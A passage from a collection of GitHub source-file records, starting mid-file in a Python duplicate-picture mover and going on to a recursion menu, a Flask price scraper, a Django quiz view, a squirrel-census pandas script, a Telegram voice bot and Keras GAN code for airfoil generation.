dirsum): \n build_dir_msg(dirname, subpath, dirsum)\n read_filelist(subpath, filelist)\n write_log(\"total: %d\\tcurrent: %d\" % (totalnum, len(filelist)))\n #except Exception as ex:\n # pass\n #print(dirname)\n\n#mv file to dst dir\ndef mv_file(src_dir, dst_dir, oldpic, similarpic):\n newpic = dst_dir+oldpic[len(src_dir):]\n if not os.path.exists(oldpic):\n write_log(\"FATAL: file [%s] not exist!\" % oldpic)\n return\n newdir=get_dirname(newpic)\n try:\n if not os.path.exists(newdir):\n os.makedirs(newdir)\n except Exception as ex:\n pass\n try:\n shutil.move(oldpic, newpic)\n except Exception as ex:\n pass\n write_log(\"move\\n%s\\nto\\n%s\\nsimilar to\\n%s\\n######################################\" % (oldpic, newpic, similarpic))\n\ndef del_repeat_and_garbage(root_dir, file_list, garbage_dict, garbage_dir, repeatfile_dir, dir_dict):\n #record the change directory, for recreate dirsum for these directorys\n change_dir_dict={}\n total_file_num=len(file_list)\n for i in range(total_file_num):\n if i % 10000 == 0:\n write_log(\"del_repeat_and_garbage total: %d\\tcurrent: %d\" %(total_file_num, i))\n #file name\n fname=file_list[i][0]\n #directory name\n dname=get_dirname(fname)\n #if dirname not in dir dict, then build a file dict insert into dir_dict\n if dname not in dir_dict:\n file_dict={}\n dir_dict[dname]=file_dict\n #file md5 value\n md5value=file_list[i][1]\n #if file is a garbage\n if md5value in garbage_dict:\n change_dir_dict[dname]=0\n mv_file(root_dir, garbage_dir, fname, garbage_dict[md5value])\n #if file in file dict\n elif md5value in dir_dict[dname]:\n change_dir_dict[dname]=0\n mv_file(root_dir, repeatfile_dir, fname, dir_dict[dname][md5value])\n #insert into dir dict\n else:\n dir_dict[dname][md5value]=fname\n #walk on all the change directorys, to recreate dirsum\n total_dir_num=len(change_dir_dict)\n x=0\n for dirname in change_dir_dict:\n if x % 10 == 0:\n write_log(\"rebuild_dirsum total: %d\\tcurrent: %d\" %(total_dir_num, x))\n x+=1\n dirsum=gen_dir_md5sum(dirname)\n subpath = os.path.join(dirname, \"dirsum.txt\")\n if not os.path.exists(subpath):\n write_log(\"dirsum file[%s] not exist, create it\" % subpath)\n build_dir_msg(dirname, subpath, dirsum)\n elif if_dir_change(subpath, dirsum):\n build_dir_msg(dirname, subpath, dirsum)\n\n#output the filelist and md5values to result file\ndef output_dir2(dir_dict, result_file):\n fi= open(result_file, \"w\", encoding=\"utf-8\")\n for d in dir_dict:\n for md5value in dir_dict[d]:\n fi.write(\"%s\\t%s\\n\" % (dir_dict[d][md5value], md5value))\n fi.close()\n\ndef get_md5value():\n g_garbage_dict={}\n g_file_list=[]\n g_dir_dict={}\n cf = configparser.ConfigParser()\n cf.read(\"config.conf\")\n g_log_file=cf.get(\"del_reapeat\", \"LOG_FILE\")\n init_log(g_log_file)\n write_log(\"PROGRAM BEGIN\")\n g_garbage_dir=cf.get(\"del_reapeat\",\"GARBAGE_FILES_DIR\")\n g_target_dir=cf.get(\"global\", \"TARGET_DIR\")\n g_result_file=cf.get(\"del_reapeat\", \"MD5VALUE_RESULT\")\n timestr = time.strftime('%Y%m%d-%H%M',time.localtime(time.time()))\n g_garbage_res_dir=os.path.join(get_dirname(g_target_dir), \"garbagefile_%s\\\\\" % timestr)\n g_repeatfile_res_dir=os.path.join(get_dirname(g_target_dir), \"repeatfile_%s\\\\\" % timestr)\n g_target_dir+=\"\\\\\"\n g_target_dir = g_target_dir\n g_garbage_dir = g_garbage_dir\n g_garbage_res_dir = (g_garbage_res_dir)\n g_repeatfile_res_dir = (g_repeatfile_res_dir)\n g_result_file = (g_result_file)\n write_log(\"garbage dir: %s\" % g_garbage_dir)\n write_log(\"target dir: %s\" % g_target_dir)\n write_log(\"md5value result file: %s\" % g_result_file)\n write_log(\"load_garbage_dict...\")\n load_garbage_dict(g_garbage_dir, g_garbage_dict)\n write_log(\"load_garbage_dict end\")\n write_log(\"total garbage files: %d\" % len(g_garbage_dict))\n write_log(\"total_dir...\")\n #x = raw_input(\"total picture number:\\n\")\n #if x==\"\":\n # g_totalnum=total_dir(g_target_dir)\n #else:\n # g_totalnum=int(x)\n g_totalnum=total_dir(g_target_dir)\n write_log(\"total_dir end\")\n write_log(\"total_number:%d\" % g_totalnum)\n write_log(\"check_dir...\")\n check_dir(g_target_dir, g_file_list, g_totalnum)\n write_log(\"check_dir end\")\n write_log(\"del_repeat_and_garbage...\")\n del_repeat_and_garbage(g_target_dir, g_file_list, g_garbage_dict, g_garbage_res_dir, g_repeatfile_res_dir, g_dir_dict)\n write_log(\"del_repeat_and_garbage end\")\n write_log(\"output_dir...\")\n output_dir2(g_dir_dict, g_result_file)\n write_log(\"output_dir end\")\n write_log(\"PROGRAM END\")\n\ndef load_md5value_file(input_file, dir_dict, pic_dict):\n fp=open(input_file, \"r\", encoding=\"utf-8\")\n picno=0\n for line in fp.readlines():\n line_array=line.split(\"\\t\")\n filename=line_array[0]\n md5value=line_array[1].replace(\"\\n\",\"\")\n dirname=get_dirname(filename)\n #print filename\n #print md5value\n #print dirname\n if (dirname not in dir_dict):\n #if not os.path.isdir(dirname):\n # write_log(\"FATAL\\tfile[%s]'s path[%s] is not a directory\" % (filename, dirname))\n # continue\n subdir_dict={}\n subdir_dict[filename]=md5value\n dir_dict[dirname]=subdir_dict\n else:\n dir_dict[dirname][filename]=md5value\n\n if (md5value not in pic_dict):\n dirs_dict={}\n dirs_dict[dirname]= 1\n pic_dict[md5value]=dirs_dict\n else:\n pic_dict[md5value][dirname]=1\n picno+=1\n write_log(\"total input pictures: %d\" % picno)\n\ndef get_father(dir_dict, pic_dict, father_dict, target_dir):\n for d in dir_dict:\n if target_dir != d[:len(target_dir)]:\n continue\n temp_dict={}\n #walk on all the files of folder d to build the dict for the union of all the files' folders\n for f in dir_dict[d]:\n for x in pic_dict[dir_dict[d][f]]:\n if x not in temp_dict:\n temp_dict[x] = 1\n else:\n temp_dict[x]= temp_dict[x] + 1\n #walk on temp_dict to build son and father relation\n for item in temp_dict:\n i = item\n #get d's father and make ture d's father is not itself\n if (temp_dict[i] == len(dir_dict[d])) and (d != i):\n #if i's father already is d, then don't mark d's father be i\n if (i in father_dict) and (father_dict[i] == d):\n write_log(\"brothers\\t%s\\t%s\" % (d, i))\n continue\n write_log(\"get_father\\t%s\\t%s\" % (d, i))\n #if i has father and not be d, then mark i be i's father\n if (i in father_dict):\n write_log(\"rep_grandpa\\t%s\\t%s\" % (i, father_dict[i]))\n i=father_dict[i]\n #replace the father of d's son\n for y in father_dict:\n if father_dict[y] == d:\n father_dict[y]=i\n write_log(\"rep_father\\t%s\\tfather\\tfrom\\t%s\\tto\\t%s\" % (y, d, i))\n #replace the father of d\n father_dict[d]=i\n break\n temp_dict.clear()\n\ndef output_relation(father_dict, output_file):\n fi= open(output_file, \"w\", encoding=\"utf-8\")\n for d in father_dict:\n fi.write(\"%s\\t%s\\n\" % (d, father_dict[d]))\n fi.close()\n\n#output the filelist and md5values to result file\ndef output_dir3(dir_dict, father_dict, result_file):\n fi= open(result_file, \"w\", encoding=\"utf-8\")\n picno=0\n for d in dir_dict:\n if d not in father_dict:\n for f in dir_dict[d]:\n picno+=1\n fi.write(\"%s\\t%s\\n\" % (f, dir_dict[d][f]))\n fi.close()\n write_log(\"total output pictures: %d\" % picno)\n\ndef get_father_relation():\n g_dir_dict={}\n g_pic_dict={}\n g_father_dict={}\n cf = configparser.ConfigParser()\n cf.read(\"config.conf\")\n g_log_file=cf.get(\"del_reapeat\", \"LOG_FILE\")\n init_log(g_log_file)\n write_log(\"PROGRAM BEGIN\")\n g_target_dir=cf.get(\"global\", \"TARGET_DIR\")\n g_input_file_base=cf.get(\"del_reapeat\", \"BASE_MD5VALUE_RESULT\")\n g_input_file=cf.get(\"del_reapeat\", \"MD5VALUE_RESULT\")\n g_output_file=cf.get(\"del_reapeat\", \"FATHER_RELATION\")\n g_target_dir+=\"\\\\\"\n g_target_dir = (g_target_dir)\n g_input_file = (g_input_file)\n g_output_file = (g_output_file)\n write_log(\"md5value result: %s\" % g_input_file)\n write_log(\"father relation: %s\" % g_output_file)\n write_log(\"load_md5value_file...\")\n load_md5value_file(g_input_file, g_dir_dict, g_pic_dict)\n write_log(\"load_md5value_file end\")\n if os.path.exists(g_input_file_base):\n write_log(\"load_md5value_base_file...\")\n load_md5value_file(g_input_file_base, g_dir_dict, g_pic_dict)\n write_log(\"load_md5value_base_file end\")\n write_log(\"get_father...\")\n get_father(g_dir_dict, g_pic_dict, g_father_dict, g_target_dir)\n write_log(\"get_father end\")\n write_log(\"output_relation...\")\n output_relation(g_father_dict, g_output_file)\n write_log(\"output_relation end\")\n write_log(\"output_dir...\")\n output_dir3(g_dir_dict, g_father_dict, g_input_file+\"_new.txt\")\n write_log(\"output_dir end\")\n write_log(\"PROGRAM END\")\n\ndef disposal_file(input_file, father_dict):\n fp=open(input_file, \"r\", encoding=\"utf-8\")\n for line in fp.readlines():\n line_array=line.split(\"\\t\")\n sonname=line_array[0]\n fathername=line_array[1].replace(\"\\n\",\"\")\n father_dict[sonname]=fathername\n\ndef mv_dir(src_dir, dst_dir, father_dict):\n for olddir in father_dict:\n has_son_dir = False\n for item in os.listdir(olddir):\n subpath = os.path.join(olddir, item)\n if os.path.isdir(subpath):\n has_son_dir = True\n break\n #if has_son_dir:\n # continue\n newdir = dst_dir+olddir[len(src_dir):]\n if not os.path.exists(newdir):\n #write_log(\"makedir[%s]\" % newdir)\n try:\n os.makedirs(newdir)\n except Exception as ex:\n pass\n for item in os.listdir(olddir):\n oldpath=os.path.join(olddir,item)\n if os.path.isdir(oldpath):\n continue\n newpath=os.path.join(newdir,item)\n #write_log(\"src[%s] dst[%s]\" % (oldpath, newpath))\n try:\n shutil.move(oldpath, newpath)\n except Exception as ex:\n pass\n if not has_son_dir and len(os.listdir(olddir))==0:\n os.rmdir(olddir)\n write_log(\"final_father src\\n%s\\n new\\n%s\\n father\\n%s\\n######################################\" % (olddir, newdir, father_dict[olddir]))\n\ndef mv_repeat():\n g_father_dict={}\n cf = configparser.ConfigParser()\n cf.read(\"config.conf\")\n g_log_file=cf.get(\"del_reapeat\", \"LOG_FILE\")\n init_log(g_log_file)\n write_log(\"PROGRAM BEGIN\")\n g_target_dir=cf.get(\"global\", \"TARGET_DIR\")\n g_input_file=cf.get(\"del_reapeat\", \"FATHER_RELATION\")\n timestr = time.strftime('%Y%m%d-%H%M',time.localtime(time.time()))\n g_result_dir=os.path.join(os.path.dirname(g_target_dir), \"repeatdir_%s\\\\\" % timestr)\n g_target_dir+=\"\\\\\"\n g_target_dir = (g_target_dir)\n g_result_dir = (g_result_dir)\n g_input_file = (g_input_file)\n write_log(\"father relation file: %s\" % g_input_file)\n write_log(\"target dir: %s\" % g_target_dir)\n write_log(\"result dir: %s\" % g_result_dir)\n write_log(\"disposal_file...\")\n disposal_file(g_input_file, g_father_dict)\n write_log(\"disposal_file end\")\n write_log(\"mv_dir...\")\n mv_dir(g_target_dir, g_result_dir, g_father_dict)\n write_log(\"mv dir end\")\n write_log(\"PROGRAM END\")\n\nget_md5value()\nget_father_relation()\nmv_repeat()\n","repo_name":"yangkai04/picture_disposal","sub_path":"del_repeat.py","file_name":"del_repeat.py","file_ext":"py","file_size_in_byte":17679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"30893868921","text":"def sumarRecursivamente(numeroASumarRecursivamente):\n if numeroASumarRecursivamente <=0:\n return 0\n \n return numeroASumarRecursivamente + sumarRecursivamente(numeroASumarRecursivamente-1)\n\ndef factorialRecursivo(numeroABuscarFactorial):\n if numeroABuscarFactorial == 0:\n return 1\n \n return numeroABuscarFactorial * factorialRecursivo(numeroABuscarFactorial-1)\n\n\ndef potenciaRecursiva(numeroAPotenciar, potenciaDeseada):\n if potenciaDeseada == 0:\n return 1\n \n return numeroAPotenciar * potenciaRecursiva(numeroAPotenciar,potenciaDeseada-1)\n\n\nif __name__ == '__main__':\n while True:\n print(''' \n \n Opciones del Menu \n \n S[U]ma Recursiva\n [P]otencia\n [F]actorial\n [S]alir\n ''')\n \n comando = input ('Digite la opcion deseada: ').lower()\n try:\n if comando == 'u':\n numeroASumarRecursivamente = int(input('Ingrese el Numero Entero a Sumar Recurivamente: ')) \n resultadoSumaRecursiva = sumarRecursivamente(numeroASumarRecursivamente)\n print('La suma recursiva del numero {} es: {}'.format(numeroASumarRecursivamente,resultadoSumaRecursiva))\n elif comando == 'p':\n datosSolicitadosParaLaPotencia = input('Ingrese el Numero y su Potencia separados por \",\": ')\n listaParametros = datosSolicitadosParaLaPotencia.split(\",\")\n resultadoPotencia = potenciaRecursiva(int(listaParametros[0]),int(listaParametros[1]))\n print('La potencia del numero {} a la {} es: {}'.format(listaParametros[0],listaParametros[1],resultadoPotencia))\n elif comando == 'f':\n numeroABuscarFactorial = int(input('Ingrese el Numero Entero que desee buscar su Factorial: '))\n resultadoFactorial = factorialRecursivo(numeroABuscarFactorial)\n print('El factorial del numero {} es: {}'.format(numeroABuscarFactorial,resultadoFactorial))\n\n elif comando == 's':\n break\n except ValueError:\n print(\"Ingreso Invalido, por favor digite un numero Entero positivo\")\n \n\n \n","repo_name":"jrperez175/Python","sub_path":"Recursividad/recursividadAplicada.py","file_name":"recursividadAplicada.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"21032162138","text":"import requests\nimport json\nfrom bs4 import BeautifulSoup\nfrom flask import Flask, jsonify, request\nfrom flask_cors import CORS\n\napp = Flask(__name__)\nCORS(app)\n\n\n@app.route(\"/price\", methods=[\"GET\", \"POST\"])\ndef get_product_price():\n data = request.get_json()\n product_url = data.get(\"url\")\n\n if product_url:\n price = scrape_product_price(product_url)\n return jsonify({\"price\": price})\n else:\n return jsonify({\"error\": \"Invalid request\"}), 400\n\n\ndef scrape_product_price(product_url):\n response = requests.get(product_url)\n soup = BeautifulSoup(response.text, \"html.parser\")\n\n detail_container = soup.find(\"div\", id=\"detail-container\")\n google_product_data = detail_container.get(\"data-googleproduct\", {})\n product_price = \"\"\n if google_product_data:\n product_data = json.loads(google_product_data)\n product_price = product_data.get(\"price\", \"\")\n\n return product_price\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=5000)\n","repo_name":"cheunyinz/react-dashboard","sub_path":"crawler/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"74966440856","text":"from django.views.generic import ListView\n\nfrom cultures.models import Culture\n\nfrom quizzes.models import Question, Answer\n\n\nclass QuizView(ListView):\n\n model = Question\n context_object_name = 'questions'\n template_name = 'quiz.html'\n\n def get_queryset(self):\n questions = Question.objects.filter(\n culture=Culture.objects.get(name__icontains=self.kwargs['name'])\n )\n return questions\n\n def get_context_data(self, **kwargs):\n context = super(QuizView, self).get_context_data(**kwargs)\n questions = self.get_queryset()\n answers = []\n for q in questions:\n a = Answer.objects.filter(question=q.pk)\n answers.append(a)\n context['answers'] = answers\n print(context)\n return context\n","repo_name":"juanpflores/Hodor","sub_path":"quizzes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"23158521056","text":"# #with open(\"./weather_data.csv\") as weather_data:\n# # data=weather_data.readlines()\n# # print(data)\n#\n# # import csv\n# # with open(\"./weather_data.csv\") as weather_data:\n# # data=csv.reader(weather_data)\n# # temps=[]\n# # for row in data:\n# # if row[1]!=\"temp\":\n# # temps.append(int(row[1]))\n# # print(temps)\n#\n# import pandas\n# #total=0\n# data= pandas.read_csv(\"weather_data.csv\")\n# # temp_list=data[\"temp\"].to_list()\n# # for temp in temp_list:\n# # total+=temp\n# # print(total/len(temp_list))\n# # print(data[\"temp\"].mean())\n# # print(data[\"temp\"].max())\n# # print(data[data.temp==data.temp.max()])\n# monday=data[data.day==\"Monday\"]\n# print(monday.temp)\n\n\nimport pandas\ndata=pandas.read_csv(\"2018_Central_Park_Squirrel_Census_-_Squirrel_Data.csv\")\ngreys_count= len(data[data[\"Primary Fur Color\"] == \"Gray\"])\nreds_count= len(data[data[\"Primary Fur Color\"] == \"Cinnamon\"])\nblacks_count= len(data[data[\"Primary Fur Color\"] == \"Black\"])\n\ndata_dict = {\n \"Fur Colour\": [\"Grey\",\"Cinnamon\",\"Black\"],\n \"Count\": [greys_count,reds_count,blacks_count]\n}\ndf = pandas.DataFrame(data_dict)\ndf.to_csv(\"squirrel_count.csv\")\n\n\n","repo_name":"Oliwrm/squirrel-data-practice","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"1576952408","text":"import asyncio\nimport logging\nimport sys\n\nfrom aiogram import Bot, Dispatcher, Router, types\nfrom aiogram.filters import Command\nfrom aiogram.fsm.context import FSMContext\nfrom aiogram.fsm.state import State, StatesGroup\nimport aiohttp\n\nimport cfg\n\nfrom Recognition import Recognition\n\nfrom translate import translate\n\nfrom OpenAI import generate_dialog\n\nform_router = Router()\nbot = Bot(token=cfg.telegramAPI_TOKEN, parse_mode=\"HTML\")\ncontext = \"Hi, how are you today?\"\n\nasync def download_voice_message(voice_message: types.Voice):\n file_info = await bot.get_file(voice_message.file_id)\n file_url = f\"https://api.telegram.org/file/bot{bot.token}/{file_info.file_path}\"\n\n async with aiohttp.ClientSession() as session:\n async with session.get(file_url) as response:\n if response.status == 200:\n file_data = await response.read()\n with open(f'voice.ogg', 'wb') as f:\n f.write(file_data)\n else:\n print(f'Error downloading file. Status: {response.status}')\n\nclass Form(StatesGroup):\n voice = State()\n@form_router.message(Command(\"voiceChat\"))\nasync def command_start(message: types.message, state: FSMContext) -> None:\n await state.set_state(Form.voice)\n await message.answer('Бот перешел в состояние голосового чата')\n@form_router.message(Command(\"exit\"),Form.voice)\nasync def command_start(message: types.message, state: FSMContext) -> None:\n await state.clear()\n await message.answer('Вы вышли из режима VoiceChat')\n\n@form_router.message(Form.voice)\nasync def command_start(message: types.message, state: FSMContext) -> None:\n global context\n try:\n voice_message = message.voice\n await download_voice_message(voice_message)\n\n # user_input = translate(Recognition(),\"en\")\n #generated_text = generate_dialog(prompt=context + \" \" + user_input,\n # model=\"davinci\",\n #token_max_length=150)\n # context += \" \" + user_input + \" \" + generated_text\n #await message.answer(translate(generated_text,\"ru\"))\n await message.answer(Recognition())\n except:\n await message.answer('Это не голосовое! Выйдите из этого режима командой /exit чтобы общаться текстом')\nasync def main():\n bot = Bot(token=cfg.telegramAPI_TOKEN, parse_mode=\"HTML\")\n dp = Dispatcher()\n dp.include_router(form_router)\n\n await dp.start_polling(bot)\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO, stream=sys.stdout)\n asyncio.run(main())","repo_name":"NiXbi-L/OpenAI_dialog","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"35898587148","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Mar 5 15:35:53 2022\r\n\r\n@author: Admin\r\n\r\nDescription:\r\nNew file to hold all of the functions for the GAN\r\nMakes main file more easily readable\r\n\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport tensorflow as tf\r\nfrom numpy import zeros\r\nfrom numpy import ones\r\nfrom numpy import vstack\r\nfrom numpy import hstack\r\nfrom tensorflow.keras.optimizers import Adam\r\nfrom tensorflow.keras.models import Sequential\r\nfrom tensorflow.keras.layers import Dense\r\nfrom tensorflow.keras.layers import Reshape\r\nfrom tensorflow.keras.layers import Flatten\r\nfrom tensorflow.keras.layers import Conv2D\r\nfrom tensorflow.keras.layers import Conv2DTranspose\r\nfrom tensorflow.keras.layers import ZeroPadding2D\r\nfrom tensorflow.keras.layers import LeakyReLU\r\nfrom tensorflow.keras.layers import Dropout\r\nfrom tensorflow_addons.layers import SpectralNormalization\r\nimport matplotlib.pyplot as plt\r\n\r\n#%% Define model function\r\n\r\ndef define_generator(latent_dim):\r\n model = Sequential()\r\n # foundation for 2x50 points\r\n N = 1024\r\n n_nodes = N * 2 * 25\r\n \r\n # Layer 1 - Dense nodes\r\n model.add(SpectralNormalization(Dense(n_nodes, input_dim=latent_dim)))\r\n model.add(LeakyReLU(alpha=0.2))\r\n model.add(Reshape((2, 25, N)))\r\n \r\n # Layer 2 - Upsample from (2,25) --> (2,50)\r\n model.add(SpectralNormalization(Conv2DTranspose(N, (2,4), strides=(1,2), padding='same')))\r\n model.add(LeakyReLU(alpha=0.2))\r\n \r\n # Layer 3 - Upsample from (2,50) --> (2,100)\r\n model.add(SpectralNormalization(Conv2DTranspose(N/4, (2,4), strides=(1,2), padding='same')))\r\n model.add(LeakyReLU(alpha=0.2))\r\n \r\n # Layer 4 - Upsample from (2,100) --> (2,200)\r\n model.add(SpectralNormalization(Conv2DTranspose(N/16, (2,4), strides=(1,2), padding='same')))\r\n model.add(LeakyReLU(alpha=0.2))\r\n \r\n # Layer 5 - 1 filter looking all the points\r\n model.add(SpectralNormalization(Conv2D(1, (2,2), padding='same'))) \r\n model.add(LeakyReLU(alpha=0.2))\r\n \r\n model.trainable = True\r\n \r\n return model\r\n\r\n#%% Define discriminator\r\ndef define_discriminator(in_shape=(2,200,1)):\r\n model = Sequential()\r\n N = 256\r\n model.add(Conv2D(N, (2,4), strides=(2, 2), padding='same', input_shape=in_shape))\r\n model.add(LeakyReLU(alpha=0.2))\r\n model.add(Dropout(0.4))\r\n model.add(Conv2D(N, (2,4), strides=(2, 2), padding='same'))\r\n model.add(LeakyReLU(alpha=0.2))\r\n model.add(Dropout(0.4))\r\n model.add(Flatten())\r\n model.add(Dense(1, activation='sigmoid'))\r\n \r\n # compile model\r\n opt = Adam(learning_rate=0.0001, beta_1=0.5)\r\n model.compile(loss='binary_crossentropy', optimizer=opt, metrics=['accuracy'])\r\n \r\n return model\r\n\r\n#%% create the combined model\r\ndef define_gan(g_model, d_model):\r\n # make weights in the discriminator untrainable\r\n d_model.trainable = False\r\n \r\n #connect them\r\n model = Sequential()\r\n model.add(g_model)\r\n model.add(d_model)\r\n \r\n # compile model\r\n opt = Adam(learning_rate=0.0001, beta_1=0.5)\r\n model.compile(loss='binary_crossentropy', optimizer=opt)\r\n \r\n return model\r\n\r\n#%% randomly select airfoils to be in real and fake dataset\r\ndef SplitDataset(AirfoilNum,batchSize,n_epochs,unrolling_steps):\r\n batchNum = int(AirfoilNum/batchSize)\r\n halfBatch = int(batchSize/2)\r\n batch = np.zeros([batchNum+unrolling_steps, batchSize, n_epochs])\r\n Num = np.array(list(range(0,AirfoilNum)))\r\n for b in range(0,n_epochs):\r\n np.random.shuffle(Num)\r\n AirfoilIDs = hstack((Num, np.random.randint(0,AirfoilNum-1,unrolling_steps*batchSize)))\r\n batch[:,:,b] = AirfoilIDs.reshape(batchNum+unrolling_steps,batchSize)\r\n \r\n real = batch[:,0:halfBatch,:]\r\n fake = batch[:,halfBatch:batchSize,:]\r\n\r\n return real.astype(int), fake.astype(int)\r\n\r\n#%% creating a dataset from MNIST images with class label as 1\r\ndef generate_real_samples(dataset, realSet):\r\n \r\n # choose random instances\r\n X = np.zeros([len(realSet), 2, 200,1])\r\n for r in range(len(realSet)):\r\n X[r, :, :,:] = dataset[realSet[r], :, :].reshape([1, 2, 200, 1])\r\n \r\n # generate 'real' class labels (1)\r\n y = ones((len(realSet), 1))\r\n return X, y\r\n\r\n#%% create input for Generator (generate points in latent space for G)\r\ndef generate_latent_points(dataset, fakeSet, dataNum):\r\n \r\n # generate points in the latent space\r\n x_input = np.zeros([len(fakeSet), dataNum])\r\n for f in range(len(fakeSet)):\r\n dataPoints = dataset[fakeSet[f], :]\r\n dataPoints = dataPoints.reshape(1,dataPoints.size)\r\n noise = (tf.random.normal([1,100])).numpy()\r\n x_input[f,:] = hstack((dataPoints,noise))\r\n \r\n return x_input\r\n\r\n#%% creating fake dataset for discriminator (use G to make fake examples)\r\ndef generate_fake_samples(g_model, dataset, fakeSet, dataNum): \r\n #generate points in latent space\r\n x_input = generate_latent_points(dataset, fakeSet, dataNum)\r\n \r\n #predict outputs\r\n X = g_model.predict(x_input)\r\n half_batch = int(len(fakeSet))\r\n \r\n # create 'fake' class labels (0)\r\n y = zeros((len(fakeSet), 1))\r\n return X.reshape([half_batch,2,200,1]), y\r\n\r\n#%% Training method GAN\r\ndef train(g_model, d_model, gan_model, C_data, P_data, dataNum, unrolling_steps, n_epochs=1000, n_batch=int(16)):\r\n \r\n #define batch per epoch and split dataset for all epochs\r\n bat_per_epo = int(C_data.shape[0]/n_batch)\r\n reals, fakes = SplitDataset(C_data.shape[0], n_batch, n_epochs, unrolling_steps)\r\n \r\n # Create a seed for plotting airfoil after each epoch\r\n inputData = hstack((P_data[0,:].reshape(1,100),(tf.random.normal([1,100])).numpy()))\r\n seed = tf.convert_to_tensor(inputData)\r\n \r\n #initialize arrays for loss\r\n d_loss = np.zeros([bat_per_epo,1]) # Loss throughout each epoch\r\n g_loss = np.zeros([bat_per_epo,1])\r\n g_lossLog = [] # Average loss for each epoch\r\n d_lossLog = []\r\n #initialize font for plots\r\n font2 = {'family' : 'Times New Roman','weight' : 'normal','size' : 14,}\r\n \r\n for i in range(n_epochs):\r\n for j in range(bat_per_epo):\r\n #unrolled training for discriminator\r\n for k in range(unrolling_steps):\r\n # create real and fake samples and then combine\r\n X_real, y_real = generate_real_samples(C_data, reals[j+k,:,i])\r\n X_fake, y_fake = generate_fake_samples(g_model, P_data, fakes[j+k,:,i], dataNum)\r\n X, y = vstack((X_real, X_fake)), vstack((y_real, y_fake))\r\n\r\n if k==0:# save weights \r\n d_loss[j], _ = d_model.train_on_batch(X, y)\r\n d_weights = d_model.get_weights()\r\n else:\r\n loss, _ = d_model.train_on_batch(X, y)\r\n \r\n # prepare points in latent space as input for the generator\r\n batch = np.concatenate((reals[j,:,i],fakes[j,:,i]))\r\n X_gan = generate_latent_points(P_data, batch, dataNum)\r\n y_gan = ones((n_batch, 1)) #invert fake sample label\r\n \r\n # update the generator via the discriminator's error\r\n g_loss[j] = gan_model.train_on_batch(X_gan, y_gan)\r\n \r\n #reset d_model weights back to one iteration of training\r\n d_model.set_weights(d_weights)\r\n \r\n \r\n '''\r\n # USED FOR OBSERVING SPIKES IN LOSS CURVE\r\n if i>=50:\r\n # Plot G prediction\r\n prediction = g_model(seed, training=False)\r\n plt.figure(figsize=(20,8))\r\n plt.plot(prediction[0,0,:,0],prediction[0,1,:,0])\r\n plt.xlim(0,1)\r\n plt.ylim(0.5,1.5)\r\n plt.grid(True)\r\n plt.xlabel('X axis (% chord)',font2)\r\n plt.ylabel('Y axis (% chord)',font2)\r\n plt.title('Epoch #'+str(i)+' Prediction',font2)\r\n plt.show()\r\n \r\n # Plot zoomed in version of the loss curve\r\n plt.figure(figsize=(20,8))\r\n plt.plot(range(i-50,i),g_lossLog[i-50:i],'r',label='Generator Loss')\r\n plt.plot(range(i-50,i),d_lossLog[i-50:i],'b',label='Discriminator Loss')\r\n plt.legend(loc=0)\r\n plt.xlabel('Epoch')\r\n plt.ylabel('Loss')\r\n plt.title('Loss in Epochs '+str(i-50)+'-'+str(i))\r\n plt.show()\r\n \r\n \r\n if np.remainder(i+1,50)==1:\r\n SaveLoc = 'Models\\\\GANmodel_recent\\\\Model\\\\E'+str(i+1)\r\n g_model.build((None,1,200))\r\n g_model.save(SaveLoc)\r\n '''\r\n \r\n # summarize loss on this epoch\r\n if i==0:\r\n # setup for ouputs\r\n print(' Epoch | D loss avg | G loss avg')\r\n print('----------+------------+------------')\r\n \r\n DLavg = np.sum(d_loss)/bat_per_epo\r\n GLavg = np.sum(g_loss)/bat_per_epo\r\n print('{0:4d}/{1:4d} | {2:1.4f} | {3:1.4f}'.format(i+1,n_epochs,DLavg,GLavg))\r\n \r\n # record loss over epochs\r\n g_lossLog.append(GLavg)\r\n d_lossLog.append(DLavg)\r\n \r\n # plot the loss curve over epochs\r\n plt.figure(figsize=(10,4))\r\n plt.plot(range(0,i+1),g_lossLog,'r',label='Generator Loss')\r\n plt.plot(range(0,i+1),d_lossLog,'b',label='Discriminator Loss')\r\n plt.legend(loc=0)\r\n plt.xlabel('Epochs',font2)\r\n plt.ylabel('Loss',font2)\r\n plt.show()\r\n \r\n","repo_name":"EckleyZ/AirfoilGAN","sub_path":"GANfuncs_Iter5.py","file_name":"GANfuncs_Iter5.py","file_ext":"py","file_size_in_byte":9461,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"}
